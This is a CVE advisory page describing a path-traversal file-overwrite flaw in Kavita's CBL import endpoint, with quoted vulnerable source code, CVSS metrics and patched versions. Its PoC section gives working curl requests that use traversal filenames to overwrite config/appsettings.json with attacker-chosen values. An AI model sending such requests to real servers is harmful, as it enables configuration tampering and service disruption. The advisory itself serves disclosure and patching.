CVE-2026-48481
NVD
Vulnerability Summary
Summary An authenticated Kavita user who is not in the `Read Only` role can upload a CBL file with path traversal sequences in the multipart filename. The server validates only the filename extension and then writes the uploaded content with `Path.Join(dir, filename)` and `File.Create`, allowing the upload to escape the intended per-user CBL temp folder and overwrite `.json` or `.cbl` files writable by the Kavita process. Because Kavita stores runtime configuration under the process working directory's `config` folder, a crafted `.json` filename can target sensitive configuration files such as `config/appsettings.json` in common deployments, potentially causing configuration tampering or service disruption after restart. Details The vulnerable endpoint is `POST /api/cbl/file-import`. `CBLController` inherits `[Authorize]` from `BaseApiController`, and the endpoint only excludes users in the `Read Only` role, so any authenticated non-read-only user can reach it. `Kavita.Server/Controllers/CBLController.cs:59-71` takes the multipart filename directly from `IFormFile.FileName`: ```csharp [HttpPost("file-import")] [DisallowRole(PolicyConstants.ReadOnlyRole)] public async Task<ActionResult<CblSavedFileDto>> SaveCblFromFile(IFormFile cblFile) { var userId = UserId; var filename = cblFile.FileName; var (isInvalid, actionResult) = await HasInvalidExtensionAsync(filename, filename); if (isInvalid) return actionResult!; await SaveCblFile(cblFile, userId, filename); ``` `Kavita.Server/Controllers/CBLController.cs:124-133` validates only the extension with `Path.GetExtension`, allowing traversal filenames that end in `.cbl` or `.json`: ```csharp private async Task<(bool IsInvalid, ActionResult<CblSavedFileDto>? ActionResult)> HasInvalidExtensionAsync(string filename, string fullPath) { var ext = Path.GetExtension(filename); if (!ext.Equals(".cbl", StringComparison.OrdinalIgnoreCase) && !ext.Equals(".json", StringComparison.OrdinalIgnoreCase)) ``` `Kavita.Server/Controllers/CBLController.cs:490-496` joins the untrusted filename into the intended CBL manager directory and opens the result with `File.Create`, which overwrites an existing file at the resolved path: ```csharp private async Task SaveCblFile(IFormFile file, int userId, string filename) { var dir = GetCblManagerFolder(userId); Directory.CreateDirectory(dir); var outputFile = Path.Join(dir, filename); await using var stream = System.IO.File.Create(outputFile); ``` The intended directory is under the Kavita working directory's `config/temp` tree. `Kavita.Server/Controllers/CBLController.cs:508-510`: ```csharp private string GetCblManagerFolder(int userId) { return Path.Join(directoryService.TempDirectory, $"{userId}", "cbl-manager-download"); } ``` `Kavita.Services/DirectoryService.cs:51-60` sets `TempDirectory` relative to the process working directory: ```csharp ConfigDirectory = FileSystem.Path.Join(FileSystem.Directory.GetCurrentDirectory(), "config"); ... TempDirectory = FileSystem.Path.Join(FileSystem.Directory.GetCurrentDirectory(), "config", "temp"); ``` The codebase already has a helper that rejects path separators in filenames, but this endpoint does not call it. `Kavita.Server/Controllers/BaseApiController.cs:119-132`: ```csharp protected static bool ValidateFilename(string fileName) { if (string.IsNullOrWhiteSpace(fileName)) return false; if (fileName.Contains(Path.DirectorySeparatorChar) || fileName.Contains(Path.AltDirectorySeparatorChar)) { return false; } return true; } ``` The same CBL workflow later calls `ValidateFilename` in `ReValidate` and `FinalizeImport`, which indicates CBL manager filenames are expected to be basenames. The initial save path is the missing check. The Angular client also passes `fileEntry.relativePath` as the multipart filename in `UI/Web/src/app/_services/cbl.service.ts:38-41`, so CBL import already handles filenames that may contain relative path components: ```typescript importFromFile(file: File, fileEntry: NgxFileDropEntry) { const formData = new FormData(); formData.append('cblFile', file, fileEntry.relativePath); ``` PoC Use a disposable Kavita instance and a non-read-only authenticated test user. Do not run this against a production instance. 1. Start Kavita with a disposable working directory or config volume. 2. Complete setup and create/log in as a normal authenticated user that is not assigned the `Read Only` role. 3. Obtain a valid bearer token or session cookie for that user. 4. Send a multipart upload where the part name is `cblFile`, the filename contains traversal, and the final extension is `.json` or `.cbl`. Example using a harmless marker filename that escapes only to the parent temp directory: ```bash curl -i \ -H "Authorization: Bearer $TOKEN" \ -F 'cblFile={"marker":"kavita-cbl-traversal"};filename=../marker.json;type=application/json' \ http://127.0.0.1:5000/api/cbl/file-import ``` Expected vulnerable result: the request is accepted by the extension check and Kavita writes the uploaded content outside `config/temp/<userId>/cbl-manager-download`, at `config/temp/<userId>/marker.json`. A more sensitive target in a disposable environment is the app configuration file: ```bash curl -i \ -H "Authorization: Bearer $TOKEN" \ -F 'cblFile={"TokenKey":"attacker-controlled-test-value-that-is-long-enough","Port":5000,"IpAddresses":"","BaseUrl":"/","Cache":75};filename=../../../appsettings.json;type=application/json' \ http://127.0.0.1:5000/api/cbl/file-import ``` From the intended CBL directory shape `config/temp/<userId>/cbl-manager-download`, `../../../appsettings.json` resolves to `config/appsettings.json`. Negative/control case: ```bash curl -i \ -H "Authorization: Bearer $TOKEN" \ -F 'cblFile={"marker":"normal"};filename=normal.json;type=application/json' \ http://127.0.0.1:5000/api/cbl/file-import ``` Expected safe/control result: `normal.json` is written only inside `config/temp/<userId>/cbl-manager-download`. Local path-resolution primitive observed during review: ```text intended=/tmp/kavita-cbl-poc/config/temp/42/cbl-manager-download normal.cbl -> /tmp/kavita-cbl-poc/config/temp/42/cbl-manager-download/normal.cbl escaped=False ../sibling.cbl -> /tmp/kavita-cbl-poc/config/temp/42/sibling.cbl escaped=True ../../user-root.cbl -> /tmp/kavita-cbl-poc/config/temp/user-root.cbl escaped=True ../../../appsettings.json -> /tmp/kavita-cbl-poc/config/appsettings.json escaped=True ``` Cleanup: remove the disposable Kavita working directory/config volume after testing. Impact This is a path traversal / arbitrary file overwrite vulnerability constrained to filenames ending in `.cbl` or `.json` and to files writable by the Kavita process. Any authenticated user with permission to import CBL files, except `Read Only` users, can potentially overwrite files outside their per-user CBL temp folder. In common deployments, writable targets may include Kavita configuration under `config/`. Overwriting configuration can tamper with server behavior, break startup, or potentially weaken security-sensitive settings after restart depending on deployment and configuration handling. Even when configuration overwrite is not exploitable, the bug violates the intended per-user temp-folder boundary and allows cross-directory file writes under the Kavita process permissions. Credits - Thai Son Dinh from VinSOC Labs (R&D)
CVSS v3.1 Base Metrics — Score 6.5
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:NAttack VectorNetwork
Attack ComplexityLow
Privileges RequiredLow
User InteractionNone
ScopeUnchanged
ConfidentialityNone
IntegrityHigh
AvailabilityNone
Affected & Patched Versions
- Kareadita/Kavita At least commit `3755116a7e33a645df9c26f3870b86893ee5d926` and version line `0.9.0.2`
- Kareadita/Kavita 0.9.1
What to do
Fix it during your normal patch cycle. No exploitation is confirmed yet.
- Check whether you run the affected product and which version.
- Update to a patched version listed above, then confirm the new version.
Timeline
- Nov 24, 2026Published
- Nov 24, 2026Record last modified
Score, severity and exploitation changes are tracked from the day Watchtower started logging them.
Get alerts for CVEs like this oneYou are reading CVE-2026-48481. Get an email when KEV listings, exploits or new CVEs match your stack.
Set up CVE alertsExternal References
Data last checked: Nov 30, 2026 08:01 UTC